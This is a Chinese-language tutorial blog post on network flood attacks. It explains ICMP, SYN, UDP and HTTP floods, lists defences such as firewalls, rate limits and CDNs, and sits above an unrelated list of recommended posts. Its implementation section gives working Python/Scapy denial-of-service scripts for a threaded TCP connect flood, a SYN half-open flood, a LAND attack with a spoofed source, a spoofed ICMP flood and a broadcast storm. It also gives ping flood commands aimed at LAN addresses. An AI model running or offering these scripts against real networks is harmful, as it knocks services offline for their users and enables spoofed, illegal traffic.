泛洪攻击(Flood Attack)

执行网络攻击,包括 Ping 泛洪攻击,在绝大多数国家/地区都是非法的,它违反了计算机犯罪法律和条例。执行或尝试执行这样的攻击通常会导致法律后果,包括罚款和监禁。因此,这些信息仅供理论学习和了解,绝不应用于非法活动。

"泛洪攻击"(Flood Attack)是一种常见的网络攻击类型,其基本思路是通过极大量的网络请求来消耗目标系统的资源,从而使目标系统过载、响应缓慢或者完全无响应。这种攻击通常用来实现 DoS(拒绝服务)或 DDoS(分布式拒绝服务)攻击。

泛洪攻击的目的

泛洪攻击的主要目的通常是中断目标服务的正常运行。攻击者尝试通过超载目标的网络和/或资源(比如带宽、CPU、内存等)来使其无法为合法用户提供服务。

泛洪攻击的常见类型

1. ICMP 泛洪攻击

攻击者向目标发送大量的 ICMP Echo 请求(通常通过 ping 命令实现)来消耗网络带宽和处理资源。

2. SYN 泛洪攻击

攻击者发送大量的 SYN(同步)包,试图与目标主机建立大量的半开放连接,从而消耗其资源并尝试使其无法处理新的连接请求。

3. UDP 泛洪攻击

攻击者向目标主机发送大量的无用 UDP 包,旨在耗尽目标的网络带宽和处理能力。

4. HTTP 泛洪攻击

攻击者生成大量的 HTTP 请求,目的是耗尽目标 Web 服务器的资源。

泛洪攻击的防御

防御泛洪攻击通常涉及多种策略和工具的组合,例如:

  • 使用防火墙和 IDS(入侵检测系统)来检测并阻止异常流量。
  • 配置路由器和交换机以限制来自同一源的连接数或数据包率。
  • 使用 CDN(内容分发网络)或 DDoS 防护服务来分散攻击流量。
  • 实施负载均衡来分担服务器的负载。
  • 使用 Web 应用程序防火墙(WAF)来过滤恶意 HTTP 请求。

泛洪攻击的实现

1. socket, tcp三次握手
py 复制代码
import socket
from scapy.layers.inet import IP, TCP, ICMP
from scapy.sendrecv import send, sendp

def socket_flood(ip, port):
    while True:
        s = socket.socket()
        s.connect((ip, port))
        
if __name__ == '__main__':
    ip = '192.168.110.130'
    port = 5000
    for i in range(500):
        threading.Thread(target=socket_flood, args=(ip, port)).start()
2. scapy, 半连接
py 复制代码
def scapy_flood(ip, port):
    while True:
        sport = random.randint(10000, 30000) # 随机源端口
        pkg = IP(dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
3. scapy, TCP Land

将源ip伪造成与目标ip一样

py 复制代码
def tcp_land(ip, port):
    while True:
        sport = random.randint(10000, 30000)
        pkg = IP(src=ip, dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
4. scapy, icmp 内网泛洪

伪造内网ip, 从ip层进行攻击, 不针对某一个端口

py 复制代码
def icmp_flood(ip):
    ip_list = ['192.168.110.130','192.168.110.129','192.168.110.128','192.168.110.131']
    payload = 'abcdefghijkabc'*100
    while True:
        src_ip = random.choice(ip_list)
        pkg = IP(src=src_ip, dst=ip)/ICMP()/payload*100  # 100个数据包
        send(pkg, verbose=False)
5. scapy, icmp 内网广播风暴

在内网将payload发送给255地址, 那么处于同一个网段内的ip都将获取到广播数据包.

支持广播的协议都可以做到, 比如UDP协议.

py 复制代码
def icmp_broadcast():
    payload = 'abcdefghijkabc'*100
    while True:
        pkg = IP(dst='192.168.112.255')/ICMP()/payload*100
        send(pkg, verbose=False)
        
6. Linux 中的 ping 命令
6.1 ping -i -s

在linux系统中使用 ping 命令的 -i -s 参数:

-i 参数用于指定连续两个 ping 包之间的间隔时间(秒为单位)

-s 参数用于指定要发送的数据包的大小(字节为单位)

将每次ping的间隔设置到非常短, 比如1ms.

将ping的数据包设置到非常大, 这个值要根据目标服务器能够接受的字节大小来设置, 需要探测.

py 复制代码
ping -i 0.001 -s 5000 192.168.110.129 # 间隔1ms, 每个5000字节

在windows系统中的 ping 不能设置 ICMP 报文的发送间隔, 间隔默认最快为1s.

6.2 ping -f

ping -f 被用于 "flood ping"。Flood ping 是向目标地址发送大量的 ping 请求包,常常用于压力测试网络。在允许这个选项的系统中,通常只有超级用户(root)能够执行带有 -f 参数的 ping 命令,因为滥用它可以轻易地导致网络拥堵。

py 复制代码
ping -f 192.168.110.129
相关推荐
CDN3601 小时前
360CDN发布HTTP/3(QUIC)弱网加速方案:实测首屏提速40%,彻底终结移动端接口超时与频繁断连
网络·网络协议·http
SWAGGY..2 小时前
【C++ 初阶】:(12)深入理解C++ stack:容器适配器、底层容器与算法实战
网络·网络协议·rpc
我星期八休息3 小时前
Linux—五种IO模型与非阻塞IO
linux·运维·服务器·网络·数据库·网络协议
oooo_z3 小时前
WebSocket实时行情推送API实战:用iTick搭一个盯盘小工具
网络·websocket·网络协议
Loongproxy3 小时前
2026年动态IP代理真实可用率怎么横评?爬虫选代理的关键是什么
服务器·网络·网络协议·tcp/ip
Mortalbreeze4 小时前
深入理解 TCP 协议(二):TCP 可靠传输与高效通信机制详解
linux·服务器·网络·网络协议·tcp/ip
2401_868534785 小时前
企业信息安全建设
linux·网络协议·beautifulsoup
Latticy21 小时前
vulnhub系列靶机-mrRobot
web安全·网络安全·渗透测试
牛大兵1 天前
机顶盒获取局域网已经使用IP,开放的端口号,扫描摄像头,NAS,共享主机等开机自启局域网全量扫描工具
数据库·网络协议·tcp/ip
Mr. zhihao1 天前
从零手写一个 RPC 框架:用一条因果链推导出 Dubbo 的骨架
网络协议·rpc·dubbo